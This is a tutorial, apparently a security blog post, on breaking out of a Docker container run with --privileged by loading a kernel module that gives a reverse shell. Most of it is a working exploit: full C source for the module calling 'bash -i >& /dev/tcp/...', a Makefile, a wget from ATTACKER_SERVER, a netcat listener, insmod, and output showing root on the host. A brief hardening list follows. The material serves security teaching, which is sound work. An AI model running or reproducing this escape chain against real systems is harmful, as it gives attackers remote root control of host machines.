Overview

Docker privileged mode grants a Docker container root capabilities to all devices on the host system. Some docker containers require extra privileges to access kernel host (e.g. to allow run docker inside docker). Unfortunately, these root capabilities can be also used to breakout container and even gain root capabilities.

Preconditions

  • The attacker has access to the container with --privileged or --cap-add=all mode

Checking capabilities

First, to simulate the attacker situation let’s run the alpine image with --privileged mode.

docker run -it --privileged alpine sh

The next step for the attacker is to check what capabilities are available in a docker container. To do that it is needed to run capsh --print the command inside the container. if the command is not available it is needed to install libcap library.

apk add -U libcap
capsh --print | grep Current

Result:

Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+eip

As you see there are a lot of capabilities in a privileged mode, Below you can find differences between the privileged component and the standard one.

NORMALPRIVILEGED
cap_chowncap_chown
cap_dac_overridecap_dac_override
cap_dac_read_search
cap_fownercap_fowner
cap_fsetidcap_fsetid
cap_killcap_kill
cap_setgidcap_setgid
cap_setuidcap_setuid
cap_setpcapcap_setpcap
cap_linux_immutable
cap_net_bind_servicecap_net_bind_service
cap_net_broadcast
cap_net_admin
cap_net_rawcap_net_raw
cap_ipc_lock
cap_ipc_owner
cap_sys_module
cap_sys_rawio
cap_sys_chrootcap_sys_chroot
cap_sys_ptrace
cap_sys_pacct
cap_sys_admin
cap_sys_boot
cap_sys_nice
cap_sys_resource
cap_sys_time
cap_sys_tty_config
cap_mknodcap_mknod
cap_lease
cap_audit_writecap_audit_write
cap_audit_control
cap_setfcap+eipcap_setfcap
cap_mac_override
cap_mac_admin
cap_syslog
cap_wake_alarm
cap_block_suspend
cap_audit_read+eip

cap_sys_module, cap_sys_ptrace, cap_sys_admin are capabilities which attacker can easily use to breakout container.


Building reverse shell kernel module

With privileged docker container attacker can install linux kernel modules. In this section we build reverseshell kernel module.

Before start creating kernel module you have to be sure that you have installed linux headers. To install them use command below:

sudo apt-get install -y build-essential linux-headers-$(uname -r)

Next step we need to do is create file reverseshell_module.c with content below:

#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>

static char command[] = "bash -i >& /dev/tcp/172.17.0.1/8888 0>&1"; //Reverse shell change ip and port if needed

char *argv[] = {
    "/bin/bash",
    "-c",    // flag make command run from option list
    command, // Reverse shell
    NULL     // End of the list
};
static char *envp[] = {
    "HOME=/",
    NULL // End of the list
};

static int __init connect_back_init(void)
{

    return call_usermodehelper(
        argv[0],      // execution path
        argv,         // arguments for process
        envp,         // environment for process
        UMH_WAIT_EXEC // don't wait for program return status
    );
}

static void __exit connect_back_exit(void)
{
    printk(KERN_INFO "Exiting\n");
}

module_init(connect_back_init);
module_exit(connect_back_exit);

Next step is to prepare Makefile to be able to build module properly:

obj-m += reverseshell_module.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

When both files are prepared you can build file with make command.

make

result:

make -C /lib/modules/5.4.0-42-generic/build M=/home/janek/reverseshell modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-42-generic'
  Building modules, stage 2.
  MODPOST 1 modules
WARNING: modpost: missing MODULE_LICENSE() in /home/janek/reverseshell/reverseshell_module.o
see include/linux/module.h for more information
  CC [M]  /home/janek/reverseshell/reverseshell_module.mod.o
  LD [M]  /home/janek/reverseshell/reverseshell_module.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-42-generic'

As build process has been completed attacker can put reverseshell_module.ko into some http server.

Installing a reverse shell kernel module from the privileged docker container

Let’s go back to a privileged Docker container which attacker got access.

docker run -it --privileged alpine sh

Another thing attacker do is downloading prepared docker module.

wget http://ATTACKER_SERVER/reverseshell_module.ko
Connecting to 172.17.0.1:8000 (172.17.0.1:8000)
saving to 'reverseshell_module.ko'
reverseshell_module. 100% |********************************************************|  4544  0:00:00 ETA
'reverseshell_module.ko' saved

Before installation of the kernel module, it is needed to setup netcat listener in a new terminal window:

nc -nlvp 8888

result:

Listening on 0.0.0.0 8888

As the listener is ready attacker can install reverse shell kernel module:

chmod +x reverseshell_module.ko
insmod reverseshell_module.ko

The connection should appear on the listening terminal:

Connection received on 10.0.2.15 44586
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@docker:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@docker:/# 

As we can see the attacker received root access on the host machine.

Kernel modules commands

Below you can find some useful command for managing kernel modules:

Install module:

insmod reverseshell_module.ko

Unload module:

rmmod reverseshell_module.ko

List modules:

lsmod

How to secure?

  • Always give the container minimum requirements it needs
  • If it is required add only specific capabilities with --cap-add
  • Use namespace remapping
  • Run docker in rootless mode (Some docker features may not work properly)
  • Run containers as not root user

Sources